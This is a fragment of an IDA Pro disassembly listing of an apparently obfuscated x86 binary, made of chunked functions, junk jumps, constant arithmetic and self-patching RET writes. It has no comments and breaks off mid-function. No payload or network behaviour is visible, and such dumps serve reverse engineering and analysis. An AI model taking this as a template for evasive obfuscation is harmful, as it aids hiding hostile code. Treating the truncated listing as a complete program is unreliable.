--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_4488D2: ; CODE XREF: sub_44439D+20D3j xor eax, 213D4451h loc_4488D8: ; CODE XREF: sub_43B252:loc_4378A1j ror eax, 8 push esi push offset loc_445329 jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C921 loc_4488E6: ; CODE XREF: sub_44C921+11j js loc_44A1E9 ; END OF FUNCTION CHUNK FOR sub_44C921 ; START OF FUNCTION CHUNK FOR sub_440280 loc_4488EC: ; CODE XREF: sub_440280-8227j jmp loc_43FC52 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_4488F1: ; CODE XREF: sub_437B01+Aj jmp loc_4381F6 ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- cmp edx, ebp jmp loc_446F53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43910C loc_4488FD: ; CODE XREF: sub_43910C-41Dj ; sub_43910C:loc_440FADj mov eax, 0A2CD59D9h push offset sub_43FE3B jmp loc_43A712 ; END OF FUNCTION CHUNK FOR sub_43910C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_44890C: ; CODE XREF: sub_440395:loc_442C7Dj jnz loc_446293 jmp loc_43A232 ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_448917: ; CODE XREF: sub_439407+Bj ; sub_43FAC6-5CC0j ... jmp loc_44A0DF ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448A59 loc_44891C: ; CODE XREF: y22d6.y.:0044CC90j ; sub_448A59:loc_44CDD7j xchg esi, [esp+0] mov ecx, esi pop esi jmp loc_43AB6B ; END OF FUNCTION CHUNK FOR sub_448A59 ; --------------------------------------------------------------------------- loc_448927: ; CODE XREF: y22d6.y.:loc_4492FDj shl ebp, 4 ja loc_44D009 jmp near ptr byte_43F615 ; --------------------------------------------------------------------------- push 0A0C720E4h pop eax xor eax, 265426C1h loc_448941: ; CODE XREF: y22d6.y.:loc_440999j or eax, 60E7CBC2h cmp eax, 20456B46h jmp loc_43E969 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_448952: ; CODE XREF: sub_44313A+6651j add eax, 0C2E5A23Ah sub eax, 0F7E854C3h add eax, 0C2A24A4h call sub_43CA1A jmp loc_442121 ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- loc_44896E: ; CODE XREF: y22d6.y.:0044CD52j rol ecx, 1 xor ecx, 0FE775FD9h xchg ecx, [esp] push 28h mov eax, [ebp-4] push ecx mov ecx, eax xchg ecx, [esp] jmp loc_43BAFB ; --------------------------------------------------------------------------- loc_448989: ; DATA XREF: sub_43D8E0+Ao xchg esi, [esp] jmp loc_44BBFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_448991: ; CODE XREF: sub_4432B8-6588j lea eax, sub_43F112 mov byte ptr [eax], 0C3h jmp sub_43F112 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44899F: ; CODE XREF: y22d6.y.:loc_445953j mov eax, [esp] push edx jmp loc_44B170 ; --------------------------------------------------------------------------- loc_4489A8: ; CODE XREF: y22d6.y.:00442653j jno loc_444918 or ebx, 4CDE3080h sub eax, 0C4DBA526h ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_4489BA: ; CODE XREF: sub_43B7B5+702Bj rol edx, 18h jnb loc_4425C6 loc_4489C3: ; CODE XREF: y22d6.y.:00444301j jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- sub edi, ebp jmp loc_441505 ; --------------------------------------------------------------------------- locret_4489CF: ; CODE XREF: y22d6.y.:0044C577j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_4489D0: ; CODE XREF: sub_43BEF7+FF78j ; sub_43B7D4:loc_44DE73j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_4489D5: ; CODE XREF: sub_44E5C7:loc_444BA4j mov esi, [ecx] jmp loc_43AFA2 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- loc_4489DC: ; CODE XREF: y22d6.y.:0044D68Aj push edx push offset sub_44AA01 jmp loc_44BFCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_4489E7: ; CODE XREF: sub_43E81B-6E83j rol esi, 7 jmp loc_43B07D ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_4489EF: ; CODE XREF: sub_440280:loc_44B275j jnz loc_44D302 jmp loc_44A316 ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_4489FA proc near ; CODE XREF: y22d6.y.:004371A0j ; sub_4385ED+7AD9p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043B3BA SIZE 00000005 BYTES xchg edx, [esp+0] pop edx adc edx, [esp-4+arg_4] add esp, 8 mov eax, [eax] add eax, [ebp-4] push offset sub_443BA0 jmp loc_43B3BA sub_4489FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_448A14: ; CODE XREF: sub_44B81B:loc_446F9Fj pop esi xor esi, 2A47ECD4h or esi, 376D107Ah sub esi, 0D1E11866h loc_448A27: ; CODE XREF: sub_44057E+1021j add esi, 92A5BC85h xchg esi, [esp+4+var_4] jmp sub_43BE66 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440943 loc_448A35: ; CODE XREF: sub_440943+9j pop edx rol edx, 12h xor edx, 6B70B413h and edx, 7B946744h add edx, 0C4C1DC54h mov [edx], eax pop edx lea eax, loc_44C4D2 jmp loc_43DF9B ; END OF FUNCTION CHUNK FOR sub_440943 ; =============== S U B R O U T I N E ======================================= sub_448A59 proc near ; CODE XREF: sub_43FAC6-F19p ; y22d6.y.:0043F1DEj ; FUNCTION CHUNK AT 0044891C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CDD7 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx add eax, ebp add eax, 31CF6A89h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_44CDD7 sub_448A59 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_448A6F proc near ; CODE XREF: y22d6.y.:0043FB0Ej ; sub_44B1D2-A15Ep xchg ecx, [esp+0] pop ecx push 87EDEA42h pop edi sub edi, 0ED78BFE7h add edi, 8635698Fh call sub_444131 loc_448A8A: ; CODE XREF: y22d6.y.:004370DCj jmp nullsub_118 sub_448A6F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_448A8F: ; CODE XREF: sub_4481EF-899Aj xor edx, esi popf cdq loc_448A93: ; CODE XREF: sub_4481EF:loc_445AECj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44B067 jmp loc_446492 ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_448AA4: ; CODE XREF: sub_43923C:loc_43A402j mov edx, edi pop edi mov eax, [esp-4+arg_0] push ebx mov ebx, edx xchg ebx, [esp+0] push ebx jmp loc_44B06A ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- loc_448AB6: ; CODE XREF: y22d6.y.:0044956Fj xor esi, 0E60D6687h jb sub_44485F loc_448AC2: ; CODE XREF: y22d6.y.:loc_449568j xor eax, 672131CBh call sub_43B921 ; START OF FUNCTION CHUNK FOR sub_44571D loc_448ACD: ; CODE XREF: sub_44571D+14j jmp loc_43FD89 ; END OF FUNCTION CHUNK FOR sub_44571D ; --------------------------------------------------------------------------- push esi push 0B3293E0Fh pop esi or esi, 0E2C21CE4h rol esi, 1 or esi, 94EB1E5Dh xor esi, ds:4000E7h add esi, 65D44EAEh jmp loc_4494F9 ; =============== S U B R O U T I N E ======================================= sub_448AF8 proc near ; CODE XREF: y22d6.y.:0043C2BFj ; sub_44AA69-D755p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0043D55F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004459F4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0044DEFC SIZE 0000001B BYTES xchg esi, [esp+0] pop esi push eax push 0F9ADC49Ch pop eax and eax, 2C6C9DA7h jmp loc_44DEFC sub_448AF8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_448B0E: ; CODE XREF: sub_4383E0+F0B5j call sub_438B66 loc_448B13: ; CODE XREF: y22d6.y.:0044012Fj sbb esi, ebp ; END OF FUNCTION CHUNK FOR sub_4383E0 ; =============== S U B R O U T I N E ======================================= sub_448B15 proc near ; CODE XREF: y22d6.y.:00439BDDp xchg ebx, [esp+0] pop ebx call nullsub_11 jmp loc_445B08 sub_448B15 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_448B23: ; CODE XREF: sub_43D20E:loc_444933j add eax, edx mov eax, [eax] add eax, [ebp-4] loc_448B2A: ; CODE XREF: y22d6.y.:00448C01j mov [ebp-0Ch], eax mov eax, [ebp-0Ch] cmp eax, [ebp-14h] jb loc_43AB8B mov eax, [ebp-10h] jmp loc_44228C ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_448B41: ; CODE XREF: y22d6.y.:0043A143j pop edx mov eax, [esp] push edx call sub_44CDB7 mov eax, esi jmp loc_43F85A ; --------------------------------------------------------------------------- loc_448B52: ; CODE XREF: y22d6.y.:004393B3j mov edi, [eax] jmp loc_43E4AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448B59: ; CODE XREF: sub_448EB6+1923j adc eax, esi cmp ecx, 80B638DFh jmp loc_4427A0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_448B66: ; CODE XREF: sub_44921D:loc_43DEB9j test eax, 1000000h jmp loc_4465A0 ; END OF FUNCTION CHUNK FOR sub_44921D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448B71 proc near ; DATA XREF: sub_443954+6o var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 00439893 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D7F5 SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al cmp [ebp+var_1], 0 jz loc_44D7F5 mov [ebp+var_8], 1 jmp loc_4492A7 sub_448B71 endp ; =============== S U B R O U T I N E ======================================= sub_448B90 proc near ; CODE XREF: sub_443954j ; FUNCTION CHUNK AT 00440029 SIZE 0000000C BYTES push ebp jmp loc_440029 sub_448B90 endp ; --------------------------------------------------------------------------- push eax pop edi shl edx, 1Ah jmp loc_443E7A ; =============== S U B R O U T I N E ======================================= sub_448BA0 proc near ; CODE XREF: y22d6.y.:0043C454j ; sub_441A2B+BD2Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438F1D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00441FAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BCFD SIZE 00000016 BYTES xchg eax, [esp+0] loc_448BA3: ; CODE XREF: sub_441F08+53EFj pop eax xchg ecx, [esp-4+arg_0] call sub_43EF0B push 4E53852h pop eax jmp loc_44BCFD sub_448BA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_448BB7: ; CODE XREF: sub_44123E+40E6j mov eax, 0BB481A21h loc_448BBC: ; CODE XREF: sub_44123E:loc_4429B9j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_4488C3 jmp loc_4403FF ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- loc_448BCD: ; DATA XREF: sub_43F9E0+131Co call sub_4397E6 mov eax, 22143682h push ebx push 0A1271C00h pop ebx rol ebx, 1Dh jnb loc_44C13B loc_448BE7: ; CODE XREF: y22d6.y.:004419BCj jmp loc_441480 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_448BEC: ; CODE XREF: sub_44E14E-10941j jmp loc_43B18D ; END OF FUNCTION CHUNK FOR sub_44E14E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_448BF2: ; CODE XREF: sub_43A58D+Dj jmp loc_44B5EA ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_448BF7: ; CODE XREF: y22d6.y.:00438D49j jmp loc_44C1ED ; --------------------------------------------------------------------------- jmp sub_43CA1A ; --------------------------------------------------------------------------- jl loc_448B2A jmp sub_447D7F ; --------------------------------------------------------------------------- loc_448C0C: ; CODE XREF: y22d6.y.:0043E091j ror ebp, 19h loc_448C0F: ; CODE XREF: y22d6.y.:loc_44021Dj mov eax, [esp] push eax push edx mov edx, esi xchg edx, [esp] push 0B5084CB4h pop esi jmp loc_44D417 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448C24: ; CODE XREF: sub_448EB6:loc_4389DEj jz loc_447230 jmp loc_43A60B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448C30: ; CODE XREF: y22d6.y.:00444D40j jno loc_44A65D ; =============== S U B R O U T I N E ======================================= sub_448C36 proc near ; CODE XREF: sub_43946E:loc_44AC79p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push edx nop mov eax, 23829242h call sub_43CA1A jmp loc_4432DA sub_448C36 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_448C4E: ; CODE XREF: sub_44B635-10456j cmp esi, 0AB2F965Ch jmp loc_43DFFF ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_448C59: ; CODE XREF: sub_4432B8-3872j jle loc_43BDED xor edi, 0E64D8FF6h pop edi loc_448C66: ; CODE XREF: sub_4432B8:loc_4434FAj add esi, 7F2CAD2Ch jmp loc_44E34D ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_448C71: ; CODE XREF: y22d6.y.:004430FBj and eax, 435B787Fh ; =============== S U B R O U T I N E ======================================= sub_448C77 proc near ; CODE XREF: sub_448BA0+3169p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043733E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004382BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00438A2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439BAC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043BDCB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D782 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DFCC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440DE4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00441E0A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00442049 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00442C19 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00442C82 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444494 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004459D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445E82 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004473E0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004474EB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004475CC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00447FF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A2E6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A99E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AA0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B4EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D9A7 SIZE 0000000B BYTES xchg ebx, [esp+8+var_8] pop ebx add eax, 63553010h call sub_44304E loc_448C86: ; CODE XREF: y22d6.y.:00449A2Dj jmp loc_441E0A sub_448C77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA5D loc_448C8B: ; CODE XREF: sub_43DA5D-172Fj push edx push 0 push eax lea eax, loc_43E4C7 push eax push 0 jmp loc_44E2D1 ; END OF FUNCTION CHUNK FOR sub_43DA5D ; --------------------------------------------------------------------------- loc_448C9D: ; CODE XREF: y22d6.y.:00441C78j jp loc_4436EC jl loc_43A999 or esi, edi sub ecx, edi jmp loc_437B58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_448CB2: ; CODE XREF: sub_44BCC2:loc_44A260j add eax, 0D528D503h add eax, ebp add eax, 99D16192h jmp loc_43991A ; --------------------------------------------------------------------------- loc_448CC5: ; CODE XREF: sub_44BCC2:loc_44A3B2j push 0E994BC25h pop eax xor eax, 0B43E854Ah test eax, 10h jmp loc_448844 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_448CDC proc near ; CODE XREF: sub_404844+30p ; y22d6.y.:0043B14Cj ; DATA XREF: ... push offset sub_4428C2 jmp nullsub_122 sub_448CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_448CE6 proc near ; CODE XREF: sub_43C1F5+Fj retn sub_448CE6 endp ; --------------------------------------------------------------------------- loc_448CE7: ; CODE XREF: y22d6.y.:00443D4Aj jmp loc_43D21D ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_448CEF: ; CODE XREF: sub_440395+C940j jmp loc_445740 ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_448CF4: ; CODE XREF: sub_43AD2F+9j jmp loc_43B725 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_448CF9: ; CODE XREF: sub_4475B3-EEDBj jmp loc_442F7E ; END OF FUNCTION CHUNK FOR sub_4475B3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_448CFE proc near ; CODE XREF: y22d6.y.:00438CD4p push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_44358A sub_448CFE endp ; =============== S U B R O U T I N E ======================================= sub_448D0A proc near ; CODE XREF: sub_43C242+9p ; y22d6.y.:004492D5j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] push offset loc_446276 jmp nullsub_123 sub_448D0A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448D1B: ; CODE XREF: sub_448EB6:loc_446DE2j jnz loc_439BED jmp loc_441864 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- mov ebx, 0B8DC2BBFh jmp sub_44AEA5 ; --------------------------------------------------------------------------- locret_448D30: ; CODE XREF: y22d6.y.:0044BB3Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_448D31: ; CODE XREF: sub_44057E+B99Ej jmp loc_43C4A2 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- or esi, ebx jmp sub_4380AC ; =============== S U B R O U T I N E ======================================= sub_448D3D proc near ; CODE XREF: sub_44B27F:loc_43E1AFp ; y22d6.y.:004484E5j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi add ecx, 445B037Eh xchg ecx, [esp-4+arg_0] jmp sub_44E5C7 sub_448D3D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_448D4F: ; CODE XREF: y22d6.y.:0044268Cj lea eax, sub_447268 mov byte ptr [eax], 0C3h jmp sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_448D5D: ; CODE XREF: sub_447268+1j mov eax, [esp+4+var_4] call sub_4491D8 loc_448D65: ; CODE XREF: y22d6.y.:0043D51Fj jmp loc_447E27 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_448D6A: ; CODE XREF: sub_4416F3+5E43j sub edi, 0C7F7046Ah jns loc_44841D loc_448D76: ; CODE XREF: sub_4416F3:loc_440F47j lea eax, [ebp-12Dh] push eax call sub_44C171 jmp loc_44941A ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_448D87: ; CODE XREF: sub_448EB6:loc_437BD4j jnz loc_44BC03 loc_448D8D: ; CODE XREF: y22d6.y.:0044D647j jmp sub_43CA1A ; --------------------------------------------------------------------------- loc_448D92: ; CODE XREF: sub_448EB6-7BBDj jmp loc_4472E6 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- sub ecx, ebx xchg edx, ebp jmp loc_44BC03 ; --------------------------------------------------------------------------- loc_448DA0: ; CODE XREF: y22d6.y.:00447989j cmp eax, 0B479A8DCh jmp loc_44359D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E52B loc_448DAB: ; CODE XREF: sub_44E52B+16j xor eax, esi xchg edi, [esp+4+var_4] mov esi, edi pop edi jmp loc_44C533 ; END OF FUNCTION CHUNK FOR sub_44E52B ; --------------------------------------------------------------------------- loc_448DB8: ; CODE XREF: y22d6.y.:loc_43A877j js loc_439E18 sub al, 99h push 3FC39011h pop edx jmp loc_43F294 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448DCC: ; CODE XREF: y22d6.y.:0043C492j jmp locret_438EF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_448DD1: ; CODE XREF: sub_43BCA9+D955j mov eax, [esp+0] call sub_43C7C1 loc_448DD9: ; CODE XREF: sub_444A91+739Ej jmp loc_43C29F ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_448DDE: ; CODE XREF: sub_43EC1C+8C62j xor eax, 0FA5E4953h popf xchg esi, [edx] popf loc_448DE8: ; CODE XREF: sub_43EC1C:loc_43CA47j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_440432 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- loc_448DF3: ; CODE XREF: y22d6.y.:loc_44797Cj jl loc_44CA3B mov [ebp+0], eax rol ecx, 5 or edi, ecx adc eax, esi adc ecx, ebp jmp loc_44CA3B ; --------------------------------------------------------------------------- mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A78 loc_448E0E: ; CODE XREF: sub_439A78+7740j jmp loc_43EB33 ; END OF FUNCTION CHUNK FOR sub_439A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_448E13: ; CODE XREF: sub_43E185-6647j jmp loc_439252 ; END OF FUNCTION CHUNK FOR sub_43E185 ; =============== S U B R O U T I N E ======================================= sub_448E18 proc near ; CODE XREF: y22d6.y.:0043A583p ; y22d6.y.:loc_43DA1Dp ... ; FUNCTION CHUNK AT 004399E5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044C9E6 SIZE 00000005 BYTES js sub_4394F3 push ebp mov ebp, esp call nullsub_4 jmp loc_4399E5 sub_448E18 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44997F loc_448E2B: ; CODE XREF: sub_44997F+19j jl loc_44D1BF push eax jmp loc_44D1BD ; END OF FUNCTION CHUNK FOR sub_44997F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448E38: ; CODE XREF: y22d6.y.:0044B7B6j js loc_446146 ; =============== S U B R O U T I N E ======================================= sub_448E3E proc near ; CODE XREF: sub_43B7B5+24F6p ; FUNCTION CHUNK AT 0043FB27 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044D3A2 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax rol eax, 2 push edi push 0A2A4BC9Eh pop edi rol edi, 1Ch jmp loc_44D3A2 sub_448E3E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_448E54: ; CODE XREF: y22d6.y.:loc_44C6DBj or ecx, 15C16F79h jmp loc_44CAA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_448E5F: ; CODE XREF: sub_43F501:loc_44A994j jz loc_44419F jmp loc_44D5CA ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- not edi jmp sub_44B629 ; --------------------------------------------------------------------------- popf jmp loc_44CFFF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_448E78: ; CODE XREF: sub_43B7B5+Cj ; sub_44374A+6j ... ror eax, 1 jnz loc_4427D3 call sub_438880 loc_448E85: ; CODE XREF: sub_447D7F+Cj jmp loc_440ADE ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_448E8A: ; CODE XREF: sub_43B252+Ej jmp loc_4391FD ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_448E8F: ; CODE XREF: sub_440494+14j imul byte ptr [edx] cmp al, 0A4h jz loc_4397D9 jmp loc_437DB2 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- loc_448E9E: ; CODE XREF: y22d6.y.:0044A52Fj or ebx, 0D825F48Dh loc_448EA4: ; CODE XREF: y22d6.y.:loc_43753Ej mov eax, [esp] call sub_4396B2 loc_448EAC: ; CODE XREF: y22d6.y.:00438125j ; y22d6.y.:0044B02Cj push offset sub_443AC9 jmp locret_44E324 ; =============== S U B R O U T I N E ======================================= sub_448EB6 proc near ; CODE XREF: sub_4432B8+2BB2j ; sub_44BAC8+6p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h ; FUNCTION CHUNK AT 0043711C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043759A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004379C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437BD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437C33 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438107 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004383C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043844A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00438621 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004387C8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043894E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004389D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438A23 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438BBF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438C43 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00438D00 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438D54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438E20 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439237 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004394D2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00439684 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043981A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004398F5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00439954 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00439B46 